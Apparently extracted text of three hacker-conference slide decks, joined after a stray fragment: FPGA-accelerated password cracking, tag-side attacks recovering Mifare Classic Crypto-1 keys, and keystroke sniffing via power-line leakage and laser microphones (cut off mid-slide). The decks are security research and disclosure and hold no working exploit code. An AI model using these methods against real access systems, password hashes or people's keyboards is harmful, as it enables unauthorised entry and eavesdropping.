Liang  Chen wu  shi humeafo END Thanks
pdf
The Next Generation of Cryptanalytic Hardware FPGAs (Field Programmable Gate Arrays) allow custom silicon to be implemented easily. The result is a chip that can be built specifically for cracking passwords. This presentation focuses on uncovering some of the underlying basics behind gate logic and shows how it can be used for performing extremely efficient cracking on FPGAs that runs hundreds of times faster than a PC. David Hulton <[email protected]> Founder, Dachb0den Labs Chairman, ToorCon Information Security Conference Embedded Systems Engineer, Pico Computing, Inc. Disclaimer  Educational purposes only  Full disclosure  I'm not a hardware guy Goals  This talk will cover:  Introduction to FPGAs  What is an FPGA?  Gate Logic  Optimizations  Pipelines  Parallelism  Cryptography  History  PicoCrack  Conclusion Introduction to FPGAs  Field Programmable Gate Array  Lets you prototype IC's  Code translates directly into circuit logic What is Gate Logic?  The basic building blocks of any computing system not and or nor nand xor xnor ~a a & b a | b ~(a | b) ~(a & b) a ^ b ~(a ^ b) not and or nor nand xor xnor What is Gate Logic?  Build other types of logic, such as adders: What is Gate Logic?  Which can be chained together: What is Gate Logic?  And can be used for storing values:  Feedback  Flip-Flop / Latch  JK Flip-Flop D E Q D E Q What is Gate Logic?  This can be implemented with electronics:  NOT  AND What is an FPGA?  An FPGA is an array of configurable gates  Gates can be connected together arbitrarily  States can be configured  Common components are provided  Any type of logic can be created What is an FPGA?  Configurable Logic Blocks (CLBs)  Registers (flip flops) for fast data storage  Logic Routing  Input/Output Blocks (IOBs)  Basic pin logic (flip flops, muxs, etc)  Block Ram  Internal memory for data storage  Digial Clock Managers (DCMs)  Clock distribution  Programmable Routing Matrix  Intelligently connects all components together PPC FPGA Pros / Cons  Pros  Common Hardware Benefits  Massively parallel  Pipelineable  Reprogrammable  Self-reconfiguration  Cons  Size constraints / limitations  More difficult to code & debug Introduction to FPGAs  Common Applications  Encryption / decryption  AI / Neural networks  Digital signal processing (DSP)  Software radio  Image processing  Communications protocol decoding  Matlab / Simulink code acceleration  Etc. Introduction to FPGAs  Common Applications  Encryption / decryption  AI / Neural networks  Digital signal processing (DSP)  Software radio  Image processing  Communications protocol decoding  Matlab / Simulink code acceleration  Etc. Types of FPGAs  Antifuse  Programmable only once  Flash  Programmable many times  SRAM  Programmable dynamically  Most common technology  Requires a loader (doesn't keep state after power- off) Types of FPGAs  Xilinx  Virtex-4  Optional PowerPC Processor  Altera  Stratix-II Verilog  Hardware Description Language  Simple C-like Syntax  Like Go - Easy to learn, difficult to master Verilog  One bit AND  C  Verilog  Gate u_char or(u_char a, u_char b) { return((a & 1) & (b & 1)); } module or(a, b, c); input a, b; output c; assign c = a & b; endmodule Verilog  8 bit AND  C  Verilog  Gate u_char or(u_char a, u_char b) { return(a & b); } module or(a, b, c); input [7:0] a, b; output [7:0] c; assign c = a & b; endmodule Verilog  8 bit Flip-Flop  C  Verilog  Gate u_char or(u_char a) { u_char t = a; return(t); } module or(clk, a, c); input clk; input [7:0] a; output [7:0] c; reg [7:0] c; always @(posedge clk) c <= a; endmodule Massively Parallel Example  PC (32 * ~ 7 clock cycles ?) @ 3.0Ghz for(i = 0; i < 32; i++) c[i] = a[i] * b[i];  Hardware (1 clock cycle) @ 300Mhz x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = a b c Massively Parallel Example  PC  Speed scales with # of instructions & clock speed  Hardware  Speed scales with FPGA's:  Size  Clock Speed Pipeline Example  PC (x * ~ 10 clock cycles ?) @ 3.0Ghz for(i = 0; i < x; i++) f[i] = a[i] + b[i] * c[i] – d[i] ^ e[i]  Hardware (x + 3 clock cycles) @ 300Mhz Stage 1 Stage 2 Stage 3 Stage 4 In Out + x - ^ 1ns 2ns 3ns 4ns Pipeline Example  PC (x * ~ 10 clock cycles ?) @ 3.0Ghz for(i = 0; i < x; i++) f[i] = a[i] + b[i] * c[i] – d[i] ^ e[i]  Hardware (x + 3 clock cycles) @ 300Mhz Stage 1 Stage 2 Stage 3 Stage 4 In Out + x - ^ 1ns 2ns 3ns 4ns Pipeline Example  PC (x * ~ 10 clock cycles ?) @ 3.0Ghz for(i = 0; i < x; i++) f[i] = a[i] + b[i] * c[i] – d[i] ^ e[i]  Hardware (x + 3 clock cycles) @ 300Mhz Stage 1 Stage 2 Stage 3 Stage 4 In Out + x - ^ 1ns 2ns 3ns 4ns Pipeline Example  PC (x * ~ 10 clock cycles ?) @ 3.0Ghz for(i = 0; i < x; i++) f[i] = a[i] + b[i] * c[i] – d[i] ^ e[i]  Hardware (x + 3 clock cycles) @ 300Mhz Stage 1 Stage 2 Stage 3 Stage 4 In Out + x - ^ 1ns 2ns 3ns 4ns Pipeline Example  PC (x * ~ 10 clock cycles ?) @ 3.0Ghz for(i = 0; i < x; i++) f[i] = a[i] + b[i] * c[i] – d[i] ^ e[i]  Hardware (x + 3 clock cycles) @ 300Mhz Stage 1 Stage 2 Stage 3 Stage 4 In Out + x - ^ 1ns 2ns 3ns 4ns Pipeline Example  PC  Speed scales with # of instructions & clock speed  Hardware  Speed scales with FPGA's:  Size  Clock speed  Slowest operation in the pipeline Self-Reconfiguration Example  PC data = MultiplyArrays(a, b); RC4(key, data, len); m = MD5(data, len);  Hardware MultiplyArrays.bit MD5.bit RC4.bit Control Logic Self-Reconfiguration Example  PC data = MultiplyArrays(a, b); RC4(key, data, len); m = MD5(data, len);  Hardware MultiplyArrays.bit MD5.bit RC4.bit Control Logic Self-Reconfiguration Example  PC data = MultiplyArrays(a, b); RC4(key, data, len); m = MD5(data, len);  Hardware MultiplyArrays.bit MD5.bit RC4.bit Control Logic History of FPGAs and Cryptography  Minimal Key Lengths for Symmetric Ciphers  Ronald L. Rivest (R in RSA)  Bruce Schneier (Blowfish, Twofish, etc)  Tsutomu Shimomura (Mitnick)  A bunch of other ad hoc cypherpunks History of FPGAs and Cryptography Intelligence Agency Big Company Corporate Department Small Company Pedestrian Hacker 70 13 hrs 0.7 sec FPGA $10M 60 19 days 24 sec FPGA $300K 75 12 sec 0.0002 sec ASIC $300M 6 min 0.005 sec ASIC 3 hrs 0.18 sec ASIC 55 556 days 12 min FPGA $10K 50 38 years 5 hours FPGA $400 45 infeasible 1 week Computers Tiny Recom 56-bits 40-bits Tool Budget History of FPGAs and Cryptography  40-bit SSL is crackable by almost anyone  56-bit DES is crackable by companies  Scared yet? This paper was published in 1996 History of FPGAs and Cryptography  1998  The Electronic Frontier Foundation (EFF)  Cracked DES in < 3 days  Searched ~9,000,000,000 keys/second  Cost < $250,000  2001  Richard Clayton & Mike Bond (University of Cambridge)  Cracked DES on IBM ATMs  Able to export all the DES and 3DES keys in ~ 20 minutes  Cost < $1,000 using an FPGA evaluation board History of FPGAs and Cryptography  2004  Philip Leong, Chinese University of Hong Kong  IDEA  50Mb/sec on a P4 vs. 5,247Mb/sec on Pilchard  RC4  Cracked RC4 keys 58x faster than a P4  Parallelized 96 times on a FPGA  Cracks 40-bit keys in 50 hours  Cost < $1,000 using a RAM FPGA (Pilchard) PicoCrack  Currently Supports  Unix DES  Windows Lanman  Windows NTLM (full-support coming soon) Lanman Hashes  Lanman  14-Character Passwords  Case insensitive (converted to upper case)  Split into 2 7-byte keys  Used as key to encrypt static values with DES MYLAMEP ASSWORD DES DES Hash[0-7] Hash[8-15] PicoCrack  Hardware Design  Pipeline design  Internal cracking engine  passwords = lmcrack(hashes, options);  Interface over PCMCIA  Can specify cracking options  Bits to search  e.g. Search 55-bits (instead of 56)  Offset to start search  e.g. First card gets offset 0, second card gets offset 2**55  Typeable/printable characters  Alpha-numeric  Allows for basic distributed cracking & resume functionality PicoCrack  Software Design  GUI and Console Interfaces  WxWidgets  Windows  Linux (coming soon)  MacOS X (coming soon)  Supports cracking multiple keys at a time  Can automatically load required FPGA image  Supports multiple card clusters Password File Cracker Hashes/Options Cracker() Crypt() Generate Key Hash Match? Password Y N Lanman Cracking  PC (3.0Ghz P4 \w rainbowcrack)  ~ 2,000,000 c/s  Hardware (Low end FPGA \w PicoCrack)  100Mhz = 100,000,000 c/s  When timing is optimized it should run at 200Mhz 12 M 100 M 3.4 D 48-characters 43 S 5.7 M 4.7 H 32-characters 90 M 12 H 25 D 64-characters 8 E-12 E-12 P4 Type Pico E-12  Pico E-12  Compact Flash Type-II Form Factor  Virtex-4 (LX25 or FX12)  1 Million Gates (~25,000 CLBs)  Optional 450 MHz PowerPC Processor  128 MB PC-133 RAM  64 MB Flash ROM  Gigabit Ethernet  JTAG Debugging Port PicoCrack Demonstration Demonstration Feedback?  What do you think?  Possible Applications?  Questions? Conclusions / Shameful Plugs  ToorCon 7  End of September, 2005  San Diego, CA USA  http://www.toorcon.org Questions ? Suggestions ?  David Hulton  [email protected][email protected]  OpenCores  http://www.opencores.org  Xilinx  ISE Foundation (Free 60-day trial)  Pico Computing, Inc.  http://www.picocomputing.com
pdf
Tag-side attacks against NFC What is NFC? Contactless communication between two devices in close proximity Many uses, primarily door controls and payment systems Why attack NFC? Interesting technology Low-level analysis tools can be prohibitively expensive Known to be insecure, but still widely used ISO-14443 Focuses on 13.56MHz NFC communication Defines the characteristics of the communication performed between tags and readers Two tag types based on it, A and B ISO-14443A is the most commonly used of the standards Low-level communication – ISO14443A Tags are powered by electromagnetic induction Communication is sent by the reader by disabling the field at specific intervals The reader uses the Modified Miller coding scheme for transmitting data to the tag Responses are sent by the tag by modifying the power being drawn from the reader Tags use the Manchester coding scheme to modulate the load Each communicated byte has an additional parity bit Modified Miller Disables field a defined intervals Minimises power loss Defined as follows: • 0 bit after 0 bit: low for the first quarter of the transmission, followed by high for the remainder of the transmission • 0 bit after 1 bit: high for the entire transmission • 1 bit: high for the first half of the transmission, followed by low for one quarter of the transmission, and high for the remainder of the transmission 0 0 1 1 0 0 1 0 0 Manchester Performed by modifying the phase of the signal In NFC is communicated by modifying the load being drawn by the tag, using a subcarrier 1 0 0 1 0 Basic Enumeration Anticollision Performed when two tags are communicating with a reader Involves requesting responses based on partial UIDs Increases the number of bits requested until a single UID is identified Once communication is complete, the next tag can be identified and communicated with Encryption and Authentication – Mifare Ultralight An authentication key is sent to the tag If the key is accurate, the reader has authenticated with the tag and communication can perform Failed attempts are logged, and in some cases can lock the chip Can work with no authentication Support for a wider number of authentication methods in newer versions Encryption and Authentication – Mifare Classic Utilises Crypto-1 algorithm Reader requests authentication for a sector of the tag (0x60/0x61) Tag responds with a unique four byte nonce Reader responds with a random value, followed by an encrypted number generated from the original nonce Tag responds with an encrypted number generated from the nonce All further communication is encrypted as authentication has been performed Each sector of the tag can be authenticated using its own unique keys Encryption and Authentication – Mifare DESFire Based on different application IDs Authentication based on DES, 3-DES or AES depending on version and configuration Multiple keys can be used for authentication Authenticated similarly to Mifare Classic Not yet been broken in any meaningful manner Creating analysis tools Existing tools and projects Proxmark3 - https://proxmark.com/ Chameleon Mini - https://github.com/emsec/ChameleonMini HydraNFC - https://hydrabus.com/hydranfc-1-0-specifications/ SimpleNFC - http://www.nonan.net/nkruse/simplenfc Emutag - http://www.emutag.com/ NFC field detection LED and a coil of wire Useful for detecting when a field is active Creating a passive sniffer – RTL-SDR Powerful SDR, able to tune between 25MHz and 1700MHz Configurable sample rate Libraries available for simple communication Problems: Cannot tune down to 13.56MHz without hardware modifications Cannot run at a low sample rate Bundled with weak antenna Not built for purpose Creating a passive sniffer – RTL-SDR Possible to tune to harmonic frequency, providing adequate signal (27.12MHz) Can synchronise with the reader by setting sample rate to 1.695MHz Antenna modifications not required, introducing a coil to the NFC field provides adequate power for analysis Possible to detect communication from the reader to the tag Constant signal means automatic gain control is possible Accurate responses, providing real-time analysis of communication Building a tag Mifare Classic was used as the initial tag type Wanted to build it with no standard NFC chipsets, as these would limit access to raw communication Wanted to build it with minimal components Full implementation of Crypto-1 authentication would be required, adding complexity to the project By fully implementing the protocol weaknesses could be identified in it Hardware requirements Inductive coupling would be required in order to receive signal from reader This signal would need to demodulated by amplitude An appropriate Microcontroller which could synchronise to 13.56MHz would be required The Microcontroller would need to be fast enough for encryption calculations Sufficient memory would be required for storage of data Inductive coupling - LC circuit A circuit used to resonate with the field Made of an inductor and a capacitor For this purpose, a large coil of wire acts as inductor/antenna Coil of wire was tuned to 10pF capacitor Resonance can be checked with logic analyser, assessing whether wave frequency is 13.56MHz Demodulation – envelope detector Used in circuits to demodulate signal based on amplitude Made from a diode, resistor and capacitor Works by rectifying the signal, and then smoothing it Values can be guessed by trial and error Testing concluded that a 1K resistor and a 220pF capacitor were appropriate for this circuit Appropriate values show Modified Miller communication in logic analyser Receiving circuit Final circuit built with very simple layout Accurately receives communication from a reader with sufficient voltage to trigger GPIO No need for additional smoothing or regulation Microcontroller selection ATTiny84 was selected for the initial device Utilises 8KB of program space, and 512B of RAM Can be programmed using a standard Arduino, or dedicated programmer Able to use external crystals to run at a specific frequency DIP package makes it easy to build into prototypes Receiving circuit could be attached to GPIO pins Good support for interrupts and timers Bad support for debugging 8-bit architecture may cause problems with fast calculation Implementation A 13.56MHz crystal and matching capacitors were connected to the ATTiny Receiving circuit was connect to an input pin and output pin Due to UART not being feasible with non-standard clock, debug strings were communicated via software-based SPI An LED was attached to confirm when the device was active The responses and state machine used by Mifare Classic were implemented, allowing the device to behave as a tag Timing issues Using a 13.56MHz crystal, ATTiny was synchronised with reader At predefined intervals at 847.5KHz, value of GPIO was read Attempting to match signal against exact timings provided inconsistent results, commands were only read accurately 50% of the time This was found to be due to clock drift on the MCU Instead, interrupts were configure to run whenever the signal went low, and times between interrupts were assessed This yielded a 99% accuracy Implementing Crypto-1 Crapto-1 library and Crypto-1 papers used as a reference for implementation Found to be based on 48-bit keys utilised as two 24-bit keys 8-bit architecture of MCU meant that all multi-byte calculations would take much longer Additionally, AVR machine code only allows for one bit-shift at a time, making it unsuitable for cryptography Slow responses to authentication requests would cause compatibility issues The filter function used for all calculations was identified to be the slowest function in use Implementing Crypto-1 All Crypto-1 code was converted from C to AVR assembly SimAVR was used to compare optimised assembly version against C version in environment with more effective debugging All calculations which would be treated as 32-bit were performed as 24-bit operations All bit-shifts were converted into more efficient operations: • 16-bit shifts - move the two upper bytes to the lower two bytes • 8-bit shifts - move the second lowest byte to the lowest byte • 4-bit shifts – use the AVR SWAP operation to swap the upper and lower nibbles • 2-bit shifts – two traditional shift operations • 1-bit shifts – one traditional shift operation These optimisations increased the speed of the calculations by ~10 times Hardware limitations Microcontroller is too slow to perform complex operations in time, 13.56MHz clock speed is not enough to perform additional functions ~400 bytes of RAM and ~7000 bytes of Flash were used for the implementation, leaving little room for further functionality 512 bytes of EEPROM memory were not enough to store an entire tag Debugging complex functionality on AVR Microcontrollers is a difficult process Limited number of pins means limited number of additional peripherals could be added Some readers were still not compatible, as they require fast response times Building a better device A more powerful Microcontroller was selected – STM32L496ZG 1MB of Flash available, 320KB of RAM (640x more than the ATTiny) Much faster clock speed, capable of performing at 80MHz 32-bit architecture could improve encryption calculations Large number of useful peripherals, including USB and UART Easy to program and debug using development software Can be built using the same circuitry and logic as previous device Building a better device Pin configurations and clock speeds can be set in STM32Cube Very little modification to core codebase was required – only timers and interrupts needed to be modified Synchronisation issues could occur due to lack of standard clock rate Building a better device – Synchronisation Internal clock of the chip was not able to tune to 13.56MHz This would not be a problem for receiving data, but would be a problem for transmitting responses Use of an external crystal was not ideal, as it would increase complexity of the board Without an accurate clock, the device would fall out of sync with the reader The STM32 can run at a large number of frequencies, it could be possible to find a clock at a close enough frequency, without being perfectly in sync Each possible frequency was assessed in order to find the most suitable candidate Additional features – Multi-tag support Can be implemented by having several instances of the same state machine Handling of multiple requests can be performed by forcing anticollision, or more easily by cascading requests so that only one selection is performed at a time for each emulated tag This can be used to exploit weaknesses related to selecting multiple tags Not hugely useful, as readers rarely implement this functionality Additional features – Dynamic Crypto-1 Key Generation Some readers generate unique keys depending on the UID of the tag If the algorithm for these can be reverse engineered, keys can be calculated as authentication is requested This can allow for dynamic modification of UID values without adversely affecting authentication Additional features – Implementing DESFire Can present as DESFire by modifying SAK and ATQA response values Implemented by replaying legitimate requests from readers Protocols are robust, when a valid response can’t be provided, the reader will try again Authentication functionality is well documented The Mifare DESFire Tool Android Application can be used to develop and test this functionality Security Weaknesses Crypto-1 Weaknesses Weaknesses in this algorithm have been known for a long time, most importantly in the paper “Dismantling Mifare Classic”, which outlines the most key weaknesses. Crypto-1 utilises 48-bit keys, split into 24-bit keys, this can be brute forced Authentication is vulnerable to replay attacks Nonces used to authenticate can be used to recover 32-bits of keystream from authentication Rollbacks from the authentication can be performed to fully recover the initial key Attacking Crypto-1 from the tag Key recovery for a sector can be achieved from two authentication requests when emulating a tag: Authentication is allowed to progress until the reader sends a response to the tag’s initial nonce This response contains a random value followed by an encrypted value generated by the tag’s nonce, the generated value can be calculated and XORed with this, providing 32-bits of keystream The two 24-bit keys generated from the 48-bit initial key are used to calculate each alternating bit of the keystream, reducing these values from ~16 million possible 24-bit keys to ~200,000 Matching key pairs can be checked in order to find combinations which generate the 32-bit keystream These keys can be rolled back through the random value and the initial nonce in order to recover the initial key Attacking Crypto-1 from the tag Attacking Crypto-1 from the tag Attacking Crypto-1 from the tag Attacking Crypto-1 from the tag Attacking Crypto-1 from the tag This approach can be used to perform offline cracking on Mifare Classic keys Keys can be recovered in under ten minutes This is more efficient than reader-based attacks on tags, but is impractical in a real- world setting This functionality is available on the Proxmark and Chameleon Mini, and is part of the core functionality of Crapto-1, but is not widely used to due to practicality in most contexts Attacking Crypto-1 from the tag - Demonstration A Mifare Classic reader with no known research was selected – the NFC reader used by a Japanese Video Game Reader was identified to use USB for communication, which was reverse-engineered using the USBProxy tool and a Beaglebone Black, the protocol was found to be simplistic and allowed for access to tag UIDs and block data The reader was found to not be compatible with the Proxmark or Chameleon Mini due to the speed with which it required responses from tags A tool was written which identified tags on the reader and tried to read data from it Attacking Crypto-1 from the tag – Demonstration UIDs, sector numbers and authentication values were generated from the STM32 device A custom tool was written which processed these in order to recover keys Keys were verified against the reader after being generated, showing that they could be recovered A large number of different keys were generated by emulating a large number of unique UIDs, this allowed for identification of differences between keys, and could help with reverse engineering key generation algorithms Crypto-1 - Improvements An increased key size would significantly increase the complexity of the attack Usage of a single, large key would prevent brute forcing of key stream values An improved PRNG on the tag would limit replay attacks Removing known plaintext from authentication would remove opportunity for exploitation Raw protocol weaknesses Most NFC chipsets don’t support control of the initial enumeration procedures, leaving it only accessible for testing by dedicated devices Initial enumeration is performed by all tag types, meaning that weaknesses can be tested on a large number of readers No limits on response sizes leave readers potentially open to memory corruption weaknesses The greatest weaknesses lie in the anticollision procedures Exploiting anticollision By constantly responding to requests with corrupted communications, the reader will ask for an increasing number of bits of the UID, eventually overflowing and requesting a size too large for the buffer This can often cause crashes This feature is rarely implemented, most readers only support one card at a time This weakness is known, but is still found in some readers High level protocol weaknesses Each tag type has its own weaknesses Entire stack lends itself to fuzzing beyond enumeration, as this data can be manipulated by most NFC chipsets NDEF data has the greatest potential for weaknesses, as it has a large number of data types and features Authentication mechanisms often have known plaintext weaknesses Capabilities of tag hardware mean that complex authentication and encryption is not possible Compiling research Compiling research STM32F070 Small TSSOP-20 chip 32KB of Flash 6KB of RAM Recommended maximum clock speed of 48MHz Can be overclocked much further – 72MHz and above Easily soldered to a breakout board NFC Sonic Screwdriver Utilises similar circuitry as original STM32 device Three modes: Fuzz Dump Authentication Standard Mifare Classic Solo STM32F070 using internal clock Powered by Lithium Ion battery Programmable via SWD Future work Source will be released – RTL-SDR, AVR and STM32 tools Boards will be designed DESFire will be fully implemented More tag types will be researched for weaknesses Questions Christopher Wade @Iskuri1 https://github.com/Iskuri https://www.pentestpartners.com Hardware Hacking Village 17:00 – Follow-up talk and questions
pdf
Sniffing Keystrokes With Lasers/Voltmeters Sniffing Keystrokes With Lasers/Voltmeters Side Channel Attacks Using Optical Sampling Of Mechanical Energy And Power Line Leakage Copyright 2009 Inverse Path Ltd. Andrea Barisani Chief Security Engineer <[email protected]> http://www.inversepath.com Daniele Bianco Hardware Hacker <[email protected]> Introduction DISCLAIMER: All the equipment and/or circuits and/or schematics provided in the presentation must be treated as examples, use the presented information at your own risk! Safety first! Copyright 2009 Inverse Path Ltd. Andrea Barisani <[email protected]> Daniele Bianco <[email protected]> This work is released under the terms of the Creative Commons Attribution-NonCommercial-NoDerivs License available at http://creativecommons.org/licenses/by-nc-nd/3.0. Sniffing Keystrokes With Lasers/Voltmeters Copyright 2009 Inverse Path Ltd. Two Unconventional Attacks ● Attack 1: Power Line Leakage detection against wired PS/2 keyboards ● Attack 2: Optical Sampling of Mechanical Energy against laptop keyboards Sniffing Keystrokes With Lasers/Voltmeters Copyright 2009 Inverse Path Ltd. Why bother ? ● Getting bored by software...hardware hacking is good fun! ● Unconventional side channel attacks ● Relatively cheap hardware ● FRIGGING LASER BEAMS! ● As always....more important: girls will melt when you show this... ● This is still a work in progress, we are planning to considerably refine the data/equipment presented in the next months Sniffing Keystrokes With Lasers/Voltmeters Copyright 2009 Inverse Path Ltd. TEMPEST ● What is TEMPEST ? Transmitted Electro-Magnetic Pulse / Energy Standards & Testing Tiny ElectroMagnetic Particles Emitting Secret Things The Emissions Might Produce Extremely Sweet Talks ● Investigations and studies of Compromising Emanations or Fortuitous Leakage ● Unintentional intelligence-bearing signals which, if intercepted and analyzed, may disclose information ● The term was coined in the late 60's and early 70's as a codename for the NSA operation to secure electronic communications equipment from potential eavesdroppers Sniffing Keystrokes With Lasers/Voltmeters Copyright 2009 Inverse Path Ltd. Public Research Relevant to Attack 1 ● Van Eck, Wim (1985). "Electromagnetic Radiation from Video Display Units: An Eavesdropping Risk?” ● Kuhn, M.G. (2002). “Optical time-domain eavesdropping risks of CRT displays” ● Kuhn, M.G. (2004). “Electromagnetic Eavesdropping Risks of Flat-Panel Displays” ● J. Loughry, D. A. Umphress (2002). “Information Leakage from Optical Emanations” ● Martin Vuagnoux, Sylvain Pasini (awaiting peer review) “Compromising radiation emanations of wired keyboards” Sniffing Keystrokes With Lasers/Voltmeters Copyright 2009 Inverse Path Ltd. First Attack Theory ● Keyboard PS/2 cable carries the following wires: ● Pin 1 Data ● Pin 3 Ground ● Pin 4 +5 V DC ● Pin 5 Clock ● Pin 2/6 Unused Sniffing Keystrokes With Lasers/Voltmeters Copyright 2009 Inverse Path Ltd. First Attack Theory ● The wires are very close to each other and poorly shielded ● There is a fortuitous leak of information going from the data wire (as well as other sources) to the ground wire and/or cable shielding ● The ground wire is routed to the main power adapter/cable ground which is then connected to the power socket and then the electric grid DATA CLK V +5 GND Sniffing Keystrokes With Lasers/Voltmeters Copyright 2009 Inverse Path Ltd. cable shielding First Attack Theory ● Information about the keystrokes leaks to the electric grid ● It can be detected on the power plug, including nearby ones sharing the same electric line ● The clock frequency of PS/2 signal is lower than any other component or signal emanated from the PC (everything else is tipically above the MHz) ● Isolate the leakage by filtering out the signal from the noise ● Profit! Sniffing Keystrokes With Lasers/Voltmeters Copyright 2009 Inverse Path Ltd. First Attack Theory ● There is some documentation suggesting the possibility of this attack in literature, though no extensive research is available (maybe some government agency...) ● While working on this research we had some independent confirmation, the cool preliminary results of Martin Vuagnoux, Sylvain Pasini also suggest that “the shared ground may acts as an antenna and significantly improve the range of the attack“ (we look forward to read their paper!) Sniffing Keystrokes With Lasers/Voltmeters Copyright 2009 Inverse Path Ltd. The PS/2 Signal ● Data is transmitted one byte at a time ● Each byte is sent in a frame consisting of 11-12 (h2d) bits ● Letter 'b' (scan code 32): | 0 | 01001100 | 0 | 1 | ● The clock frequency range is 10 - 16.7 kHz --------------- --------------- ---------------- -------------- ------------- | Start (1 bit) | Data (8 bits) | Parity (1 bit) | Stop (1 bit) | Ack (1 bit) | --------------- --------------- ---------------- -------------- ------------- Sniffing Keystrokes With Lasers/Voltmeters Copyright 2009 Inverse Path Ltd. 1 0 0 1 0 0 1 1 0 0 0 1 Diagram Keyboard PC GND Mouse PS/2 PS/2 Vin ADC Vref Sniffing Keystrokes With Lasers/Voltmeters Copyright 2009 Inverse Path Ltd. ~150 Ohm REFERENCE GND Testing the Theory ● We used a digital oscilloscope as ADC for our initial test ● We route the ground of a nearby power socket to the ADC ● We measure the current dispersed on the ground using the voltage potential difference between the two ends of the resistor ● A “reference” ground clean of electrical system noise is used for improving the measurement (yes, it is weird) ● “nearby” power socket refers to anything connected to the same electrical system Sniffing Keystrokes With Lasers/Voltmeters Copyright 2009 Inverse Path Ltd. The Evil Power Cable Sniffing Keystrokes With Lasers/Voltmeters Copyright 2009 Inverse Path Ltd. The Reference Ground Sniffing Keystrokes With Lasers/Voltmeters Copyright 2009 Inverse Path Ltd. ● Sinks and WC are perfect! (hint for spies: hotel rooms have those) ...very classy... The Testing Lab Sniffing Keystrokes With Lasers/Voltmeters Copyright 2009 Inverse Path Ltd. ● The testing has been performed in a nuclear physics laboratory with lots of particle detectors, power adapters and other noisy equipment running ● Complex electric grid topology ● The ground was extremely noisy, substantially more than a normal scenario Sniffing the Signals ● Original data Sniffing Keystrokes With Lasers/Voltmeters Copyright 2009 Inverse Path Ltd. Filtering the Noise ● We need to find our 10 – 16.7 kHz signal among a huge amount of noise ● A Finite Impulse Response (FIR) acting as a Band Pass filter selecting frequencies between 1 – 20 kHz is used ● 1 Msps / 100 ksps is a sufficient rate for the analysis ● Scilab example: [h,filter_mag,fr] = wfir('bp',order,[.001,.02],'hm',[0,0]); Sniffing Keystrokes With Lasers/Voltmeters Copyright 2009 Inverse Path Ltd. Filtering the Noise Sniffing Keystrokes With Lasers/Voltmeters Copyright 2009 Inverse Path Ltd. Results ● Noisy ground signal Sniffing Keystrokes With Lasers/Voltmeters Copyright 2009 Inverse Path Ltd. Results ● Ground noise + filtered signal comparison Sniffing Keystrokes With Lasers/Voltmeters Copyright 2009 Inverse Path Ltd. Results Sniffing Keystrokes With Lasers/Voltmeters Copyright 2009 Inverse Path Ltd. Results ● | 0 | 00111000 | 0 | 1 | = letter 'a' Sniffing Keystrokes With Lasers/Voltmeters Copyright 2009 Inverse Path Ltd. ● 0 0 0 1 1 1 0 0 0 0 1 Results ● Ground noise + filtered signal comparison Sniffing Keystrokes With Lasers/Voltmeters Copyright 2009 Inverse Path Ltd. Results Sniffing Keystrokes With Lasers/Voltmeters Copyright 2009 Inverse Path Ltd. Results ● | 0 | 00111000 | 0 | 1 | = letter 'a' Sniffing Keystrokes With Lasers/Voltmeters Copyright 2009 Inverse Path Ltd. ● 0 0 0 1 1 1 0 0 0 0 1 Results Sniffing Keystrokes With Lasers/Voltmeters Copyright 2009 Inverse Path Ltd. Results Sniffing Keystrokes With Lasers/Voltmeters Copyright 2009 Inverse Path Ltd. Results ● | 0 | 01001100 | 0 | 1 | = letter 'b' Sniffing Keystrokes With Lasers/Voltmeters Copyright 2009 Inverse Path Ltd. ● 0 0 1 0 0 1 1 0 0 0 1 Estimating Attenuation ● Attenuation coefficients for wire copper are often estimated for much higher frequencies (>1Mhz) ● Considering a typical copper cable with a coefficient of 0.1 dB after 60m 50% of the signal survives (theoretically!) ● In our tests we didn't notice significant differences between the signal at 1.5m and 15m ● A typical signal has an output power of ~1 pW (10^-9 Watt) Sniffing Keystrokes With Lasers/Voltmeters Copyright 2009 Inverse Path Ltd. Continuous Sniffing Sniffing Keystrokes With Lasers/Voltmeters Copyright 2009 Inverse Path Ltd. Keyboard PC GND Mouse PS/2 PS/2 Vin ADC (12 bit) 1 Msps / 100 Kps Vref ~150 Ohm REFERENCE GND Filtering + Processing SPI Interface Microcontroller Storage SD / MMC $ 149.99 Attack Scenario ● Depending on the sensitivity of the equipment, keystrokes can be probed from the nearby room or even farther... ● ...or power plugs can be tampered with their “sniffing” version (though this is not really interesting) ● Appealing alternate targets are ATM machines that use PS/2 or similar keypads (most ATM are standard PCs) ● We are confident that more expensive equipment can lead to more precise measurements...the data is (buried) there! Sniffing Keystrokes With Lasers/Voltmeters Copyright 2009 Inverse Path Ltd. Notes ● This doesn't work against USB keyboards because of differential signaling ● There might be other factors responsible in minor part for the signal interference on the ground, like power fluctuations of the keyboard microcontroller... ● ...these are difficult to pinpoint but they aid the leakage ● Vuagnoux & Pasini attacks seems more practical (kudos to them!), unless you shield the room walls but forget about the power grid ;), but this attack might have more range ● the attack definetly deserves more investigation! (which we will continue in the next months) Sniffing Keystrokes With Lasers/Voltmeters Copyright 2009 Inverse Path Ltd. Workarounds Sniffing Keystrokes With Lasers/Voltmeters Copyright 2009 Inverse Path Ltd. http://www.fickr.com/photos/thefineed1/68647955 http://creativecommons.org/licenses/by-nc-sa/2.0 Public Research Relevant to Attack 2 ● Dmitri Asonov, Rakesh Agrawal (2004). "Keyboard Acoustic Emanations” ● Li Zhuang, Feng Zhou, J.D. Tygar (2005). “Keyboard Acoustic Emanations Revisited” ● these are all brilliant people much more serious than us...kudos to them too! Sniffing Keystrokes With Lasers/Voltmeters Copyright 2009 Inverse Path Ltd. Second Attack Theory ● As we cannot use the previous attack on laptops we need something different ● Previous research addresses keystrokes acoustic ● Laser microphones can be used for monitoring sounds at a great distance ● Why not pointing the laser microphone directly at the laptop and sample vibrations? ● Profit! Sniffing Keystrokes With Lasers/Voltmeters Copyright 2009 Inverse Path Ltd. Laser Microphone Assembly ● 1 x Laser (more expensive lasers means more range) ● 1 x Photoresistor or Photodiode ● 1 x Resistor ● 1 x AA Battery ● 1 x Universal Power Adapter ● 1 x Jack Cable ● 1 x Laptop with sound card ● 2 x Tripod ● 1 x Focusing lens (for long distances) ● Optional: amplifier, optical bandpass filter, duct tape ... Sniffing Keystrokes With Lasers/Voltmeters Copyright 2009 Inverse Path Ltd. $ 79.99 TX (The Laser) ● Class IIIR, 670 nm, <5 mW power, <2 mrad divergence (good for short range, 15-30 meters), cheap and poor laser Sniffing Keystrokes With Lasers/Voltmeters Copyright 2009 Inverse Path Ltd. RX (Photo Detector) ● BP103 or... ● 